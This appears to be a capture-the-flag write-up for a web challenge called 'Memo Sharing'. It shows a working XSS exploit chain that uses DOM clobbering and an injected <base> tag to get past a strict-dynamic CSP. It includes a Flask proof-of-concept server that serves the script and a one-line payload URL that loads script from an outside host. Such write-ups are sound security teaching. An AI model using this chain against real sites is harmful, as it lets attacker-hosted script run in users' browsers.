- Category: Web
- Impact: Medium
- Solves: 20
Find a way to execute alert(document.domain)
on the challenge page.
The solution:
- Should leverage a cross site scripting vulnerability on
this
domain; - Should not be
self-XSS
or related toMiTM
attacks; - Should execute
alert(document.domain)
without user interaction; - Should work on the latest version of
Chrome
andFirefox
.
We have a web challenge where we can input data:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Memo Sharing</title>
<meta http-equiv="Content-Security-Policy" content="default-src *; script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=';">
<script integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=" src="./dompurify.js"></script>
<link rel="stylesheet" href="./style.css"/>
</head>
<body>
<div class="navbar"><h1>Memo Sharing</h1></div>
<div class="container">
<div class="app-description"><h4>Welcome to Memo Sharing, your safe platform for sharing memos.<br/>Just type your memo below and send it!</h4></div>
<form id="memoForm">
<input type="text" id="memoContentInput" placeholder="Enter your memo here..." required/>
<button type="submit" id="submitMemoButton">Submit Memo</button>
</form>
</div>
<div class="memos-display"><p id="displayMemo"></p></div>
<script integrity="sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=">
document.getElementById("memoForm").addEventListener("submit", (event) => {
event.preventDefault();
const memoContent = document.getElementById("memoContentInput").value;
window.location.href = `${window.location.href.split("?")[0]}?memo=${encodeURIComponent(
memoContent
)}`;
});
const urlParams = new URLSearchParams(window.location.search);
const sharedMemo = urlParams.get("memo");
if (sharedMemo) {
const displayElement = document.getElementById("displayMemo");
//Don't worry about XSS, the CSP will protect us for now
displayElement.innerHTML = sharedMemo;
if (origin === "http://localhost") isDevelopment = true;
if (isDevelopment) {
//Testing XSS sanitization for next release
try {
const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
displayElement.innerHTML = sanitizedMemo;
} catch (error) {
const loggerScript = document.createElement("script");
loggerScript.src = "./logger.js";
loggerScript.onload = () => logError(error);
document.head.appendChild(loggerScript);
}
}
}
</script>
<script>
// Not fully implemented yet
const logError = (error) => {
console.log(error);
};
</script>
</body>
</html>
The DOMPurify
version is obviously the most recent, therefore severely limiting the angle of attack (before its update).
We spot the variable isDevelopment
not correctly declared near innerHTML
, which gives us the idea of DOM clobbering
attack.
We need to have the same valid <script>
integrity value subsequently.
We also check (with LLM
) the current Content security policy
to see that important safeties are missing:
default-src *;
Usage of permissive scheme-source in sensitive directive;script-src 'strict-dynamic'
Missing base-uri allows the injection of<base>
html tags (thinking ofRelative path overwrite
attack);'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=';
Missing reporting endpoint, form-action and so on.
We then use <base>
, <iframe srcdoc>
and <meta>
tags to make a simple poc for that:
from urllib.parse import quote
from flask import Flask, Response
app, x, y, z = (Flask(__name__),
f"""{quote("<base/href=//localhost:1234><iframe/srcdoc=",safe="")}""",
f"""<html><head><meta/content="3;url=about:srcdoc?memo={quote("<p/id=isDevelopment>",safe="")}"/http-equiv=refresh></head>
<body><form/id=memoForm><input/id=memoContentInput/><button/type=submit></button></form><p/id=displayMemo></p><script>
document.getElementById("memoForm").addEventListener("submit", (event) => {{
event.preventDefault();
const memoContent = document.getElementById("memoContentInput").value;
window.location.href = `${{window.location.href.split("?")[0]}}?memo=${{encodeURIComponent(
memoContent
)}}`;
}});
const urlParams = new URLSearchParams(window.location.search);
const sharedMemo = urlParams.get("memo");
if (sharedMemo) {{
const displayElement = document.getElementById("displayMemo");
//Don't worry about XSS, the CSP will protect us for now
displayElement.innerHTML = sharedMemo;
if (origin === "http://localhost") isDevelopment = true;
if (isDevelopment) {{
//Testing XSS sanitization for next release
try {{
const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
displayElement.innerHTML = sanitizedMemo;
}} catch (error) {{
const loggerScript = document.createElement("script");
loggerScript.src = "./logger.js";
loggerScript.onload = () => logError(error);
document.head.appendChild(loggerScript);
}}
}}
}}
</script></body></html>""".strip(), # Uncaught ReferenceError: logError is not defined
f"""{quote("></iframe>", safe="")}""")
url = ["http://localhost:8000/index.html?memo=", "https://challenge-0724.intigriti.io/challenge/index.html?memo="][1]
poc = (
url + x + quote(
repr(
__import__("html").escape(y.replace(";", ";")).replace("\n", "
").replace("=", "=")
.replace("!", "!").replace("/", "/").replace(":", ":")
.replace("?", "?").replace("%", "%").replace(".", ".")
.replace("+", "+").replace("(", "(").replace(")", ")")
.replace(",", ",").replace("{", "{").replace("}", "}")
.replace("`", "`").replace("$", "$").replace("[", "[").replace("]", "]")
)
)
.replace("amp%3B", "").replace("%23x27", "apos") + z # html.entities.html5.items()
)
@app.route("/logger.js")
def xss_endpoint() -> Response:
"""Used when the JavaScript catch block has been triggered"""
return Response("alert(document.domain);", content_type="application/javascript")
@app.route("/")
@app.route("/dompurify.js")
@app.route("/favicon.ico")
@app.route("/purify.min.js.map")
@app.route("/style.css")
def root() -> Response:
"""An empty response"""
return Response(status=204) # nginx/1.25.4 misconfigured Nginx rule
if __name__ == "__main__":
print(poc); app.run(debug=0, host="0.0.0.0", port=1234)
In particular, we can make it much shorter by using the slash
character:
https://challenge-0724.intigriti.io/challenge/index.html/?memo=<base/id=isDevelopment/href=//vps.us/>
Have a nice vacation!